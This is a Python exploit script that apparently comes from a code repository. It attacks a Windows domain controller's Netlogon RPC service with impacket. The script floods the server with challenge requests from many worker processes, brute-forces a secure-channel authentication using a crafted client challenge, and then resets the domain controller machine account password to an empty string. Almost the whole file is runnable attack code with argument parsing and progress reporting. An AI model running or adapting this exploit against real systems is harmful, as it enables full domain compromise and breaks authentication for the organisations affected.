Files
2026-06-22 16:23:59 +02:00

332 lines
13 KiB
Python

import argparse
from exploit.utils import AES_128_BIT_CFB_AND_SHA2, FLAGS, log
from impacket.dcerpc.v5 import nrpc, epm, transport
from impacket.dcerpc.v5.dtypes import NULL
from impacket.nt_errors import STATUS_ACCESS_DENIED
from multiprocessing import JoinableQueue, Process
import time
import signal
# Increase file limit
import resource
file_limit = list(resource.getrlimit(resource.RLIMIT_NOFILE))
if file_limit[1] > 10000:
file_limit[0] = 10000
else:
file_limit[0] = file_limit[1]
file_limit = tuple(file_limit)
resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
def parse_args():
parser = argparse.ArgumentParser(description="Netlogon RPC Client")
parser.add_argument("--dc-name", help="Domain Controller Name")
parser.add_argument("--dc-ip", required=True, help="Domain Controller IP Address")
parser.add_argument("--username", "-u", required=True, help="sAMAccountName of the domain controller")
parser.add_argument("--comp-username", help="sAMAccountName of the computer account for buffer flushing")
parser.add_argument("--comp-password", help="Computer password for buffer flushing")
parser.add_argument("--comp-hash", help="Computer hash for buffer flushing (optional, if not provided, password will be used)")
parser.add_argument("--workers", "-w", type=int, default=100, help="Number of worker threads")
parser.add_argument("--naive", action="store_true", help="Use naive approach and bruteforce 2^32")
return parser.parse_args()
def connect(dc_ip, dc_name, silent=False):
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
try:
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
if not silent:
log(f"Successfully bound to Netlogon RPC on {dc_name} ({dc_ip})")
return rpc_con
except Exception as e:
log(f"Failed to bind to Netlogon RPC: {e}", "red")
exit(1)
def req_challenges_worker(queue: JoinableQueue, dc_ip, dc_name, computer_name, client_chall, per_worker):
# Ignore SIGINT in this process (worker will not react to Ctrl+C)
signal.signal(signal.SIGINT, signal.SIG_IGN)
rpc_con = connect(dc_ip, dc_name, silent=True)
while True:
task = queue.get()
if task == "STOP":
queue.task_done()
break
try:
for _ in range(per_worker):
nrpc.hNetrServerReqChallenge(
rpc_con,
f"{dc_name}\x00",
f"{computer_name}\x00",
client_chall
)
except Exception as e:
log(f"Worker error: {e}", "red")
finally:
queue.task_done()
def do_successful_authentication(rpc_con, dc_name, computername, username, password=None, nt_hash=None, server_chall=None):
if password is None and nt_hash is None:
raise ValueError("Either password or nt_hash must be provided")
AccountName = f"{username}$" # Account that tries to authenticate
ComputerName = computername
client_chall = b"12345678"
flags = FLAGS(0b0100000000111111111111111111111)
flags.set_bit(AES_128_BIT_CFB_AND_SHA2) # Set the AES flag
if not server_chall:
# Request server challenge if not provided
resp = nrpc.hNetrServerReqChallenge(
rpc_con,
f"{dc_name}\x00",
f"{ComputerName}\x00",
client_chall,
)
server_chall = resp["ServerChallenge"]
# Local computations
session_key = nrpc.ComputeSessionKeyAES(
password,
client_chall,
server_chall,
nt_hash,
)
ClientStoredCredential = nrpc.ComputeNetlogonCredentialAES(
client_chall,
session_key,
)
# Authenticate with the server
nrpc.hNetrServerAuthenticate2(
rpc_con,
NULL,
f"{AccountName}\x00",
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
f"{ComputerName}\x00",
ClientStoredCredential,
flags.flag
)
def set_password_empty(rpc_con, dc_name, AccountName, ComputerName, client_chall):
# Construct a valid authenticator
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator["Credential"] = client_chall # The encryption will revert the last byte back to the original value
authenticator["Timestamp"] = 0
# Construct the ClearNewPassword structure as empty password
new_pw = "".encode("utf-16le")
assert len(new_pw) <= 512
ClearNewPassword = nrpc.NL_TRUST_PASSWORD()
ClearNewPassword["Buffer"] = (b"\x00" * (512 - len(new_pw))) + new_pw
ClearNewPassword["Length"] = len(new_pw)
assert len(ClearNewPassword.getData()) == 516
assert ClearNewPassword.getData() == b"\x00" * 516
req = nrpc.NetrServerPasswordSet2()
req["PrimaryName"] = f"{dc_name}\x00"
req["AccountName"] = f"{AccountName}\x00"
req["SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
req["ComputerName"] = f"{ComputerName}\x00"
req["Authenticator"] = authenticator
req["ClearNewPassword"] = ClearNewPassword.getData()
try:
rpc_con.request(req)
log("Password set successfully to empty string!")
return True
except nrpc.DCERPCException:
return False
def clear_lines(n):
r"""
Clears n lines in the terminal.
\033[F moves the cursor up one line.
\033[K clears the line.
"""
for _ in range(n):
print("\x1B[F\x1B[K", end="")
def main():
args = parse_args()
log(args)
# Set up arg variables
dc_ip = args.dc_ip
dc_name = args.dc_name
username = args.username.rstrip("$") # Remove trailing '$' if present
num_workers = args.workers
comp_username = args.comp_username.rstrip("$") if args.comp_username else None # Remove trailing '$' if present
comp_password = args.comp_password
comp_hash = bytes.fromhex(args.comp_hash) if args.comp_hash else None
# Setup two rpc connections for the cleanup auth and our main authentication try
rpc_con_auth = connect(dc_ip, dc_name)
rpc_con_cleanup = connect(dc_ip, dc_name)
# Define the flags for AES authentication
flags = FLAGS(0b0100000000111111111111111111111)
flags.set_bit(AES_128_BIT_CFB_AND_SHA2) # Set the AES flag
log(f"Using flags: ({bin(flags.flag)}) \n{flags} ")
# Define auth vars
tries = 100_000 # 100_000 cache places but leave some room for clean up and other connections
per_worker = tries // num_workers
AccountName = f"{username}$" # Account that tries to authenticate
ComputerName = username # NetBIOS name of the client computer authenticating
client_chall = b"\x00" * 4 + b"\x11" * 3 + b"\x00"
# Set up multiprocessing queue for request challenges
task_queue = JoinableQueue()
processes = []
for _ in range(num_workers):
p = Process(
target=req_challenges_worker,
args=(task_queue, dc_ip, dc_name, ComputerName, client_chall, per_worker)
)
p.start()
processes.append(p)
# To be sure we have a clean start, do a successful authentication first
if comp_username:
do_successful_authentication(rpc_con_cleanup, dc_name, ComputerName, username=comp_username, password=comp_password, nt_hash=comp_hash)
total_time = 0
total_tries = 0
cycles = 0
if comp_username and not args.naive:
log("Estimated total tries with flushing: 2^24 / 2")
exp_tries = 2**24 / 2
authenticator_complexity = 2**8
elif args.naive:
log("Estimated total tries (naive): 2^32 / 2")
exp_tries = 2**32 / 2
authenticator_complexity = 1
else:
log("Estimated total tries without flushing: 2^16 / 2")
exp_tries = 2**16 / 2
authenticator_complexity = 2**16
# Stop bruteforce if we found a valid clientCredential
found = False
print()
log("Starting the brute force attack...")
try:
while not found:
cycles += 1
start_all = time.perf_counter()
start_req = time.perf_counter()
# Request server challenge for clean up so it is the first item in the request list
resp = nrpc.hNetrServerReqChallenge(
rpc_con_cleanup,
f"{dc_name}\x00",
f"{ComputerName}\x00",
b"12345678" # Dummy client challenge,
)
server_chall = resp["ServerChallenge"]
# Perform challenge requests
for _ in range(num_workers):
task_queue.put("REQUEST")
task_queue.join() # Block until all tasks are processed
end_req = time.perf_counter()
# Try to guess the clientCredential which should be client_challenge[:6] + 2x rand_byte
start_auth = time.perf_counter()
tries_this_round = tries
for i in range(authenticator_complexity):
# If we exceed 2 minutes, resend challenges and restart the round due to automatic cache flush
curr_time = time.perf_counter()
if curr_time - start_auth > 120:
tries_this_round = i
break
try:
if comp_username:
clientCredential = client_chall[:7] + int.to_bytes(i, 1)
else:
clientCredential = client_chall[:6] + int.to_bytes(i, 2)
# Check if session key encrypts the client challenge with null bytes
nrpc.hNetrServerAuthenticate2(
rpc_con_auth,
NULL,
f"{AccountName}\x00",
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
f"{ComputerName}\x00",
clientCredential, # IF THIS WORKS WE FOUND THE CORRECT SESSION KEY
flags.flag
)
log(f"!!!Successfully authenticated {AccountName} on {dc_name} with {clientCredential}!!!")
found = True
except nrpc.DCERPCSessionError as e:
if e.get_error_code() == STATUS_ACCESS_DENIED:
pass
else:
raise e
except Exception as e:
log(f"Authentication error: {e}", "red")
end_auth = time.perf_counter()
if not found:
start_cleanup = time.perf_counter()
if comp_username:
do_successful_authentication(rpc_con_cleanup, dc_name, ComputerName, username=comp_username, password=comp_password, nt_hash=comp_hash, server_chall=server_chall)
end_cleanup = time.perf_counter()
end_all = time.perf_counter()
# Flush previous lines
if total_tries != 0:
clear_lines(10)
# Track all time stats
total_tries += tries_this_round
total_time += end_all - start_all
# Log the timing information
log("ROUND STATS:", "blue")
log(f"REQ: Took {end_req - start_req} seconds, average time per attempt: {(end_req - start_req) / (tries_this_round):.20f} seconds", "blue")
log(f"TRY: Took {end_auth - start_auth} seconds", "blue")
log(f"CLEANUP: Took {end_cleanup - start_cleanup} seconds", "blue")
log(f"ALL: Took {end_all - start_all} seconds, average time per attempt: {(end_all - start_all) / (tries_this_round):.20f} seconds", "blue")
log("", "blue")
log("TOTAL STATS:", "blue")
log(f"TIME: {total_time / 60 / 60:.2f} hours passed, average time per attempt: {total_time / (total_tries):.20f} seconds", "blue")
log(f"TRIES: {total_tries}, average tries per cycle: {total_tries // cycles}", "blue")
log(f"Estimated progress: {(total_tries / exp_tries) * 100:.2f}%, estimated time remaining: {((total_time / total_tries) * (exp_tries - total_tries)) / 60 / 60:.2f} hours", "blue")
# SET THE NEW PASSWORD TO EMPTY STRING
for i in range(256):
if set_password_empty(rpc_con_auth, dc_name, AccountName, ComputerName, client_chall[:7] + int.to_bytes(i)):
log(f"Successfully set the password of {AccountName} to an empty string!")
break
except KeyboardInterrupt:
print("\x1B[K", end="\r")
log("KeyboardInterrupt received, exiting gracefully.")
finally:
# Stop all worker processes
for _ in processes:
task_queue.put("STOP")
log("All tasks have been processed, stopping workers.")
for p in processes:
p.join()
print(f"Worker {p.pid} has been stopped.", end="\r", flush=True)
log("All workers have been stopped.")
task_queue.join()
task_queue.close()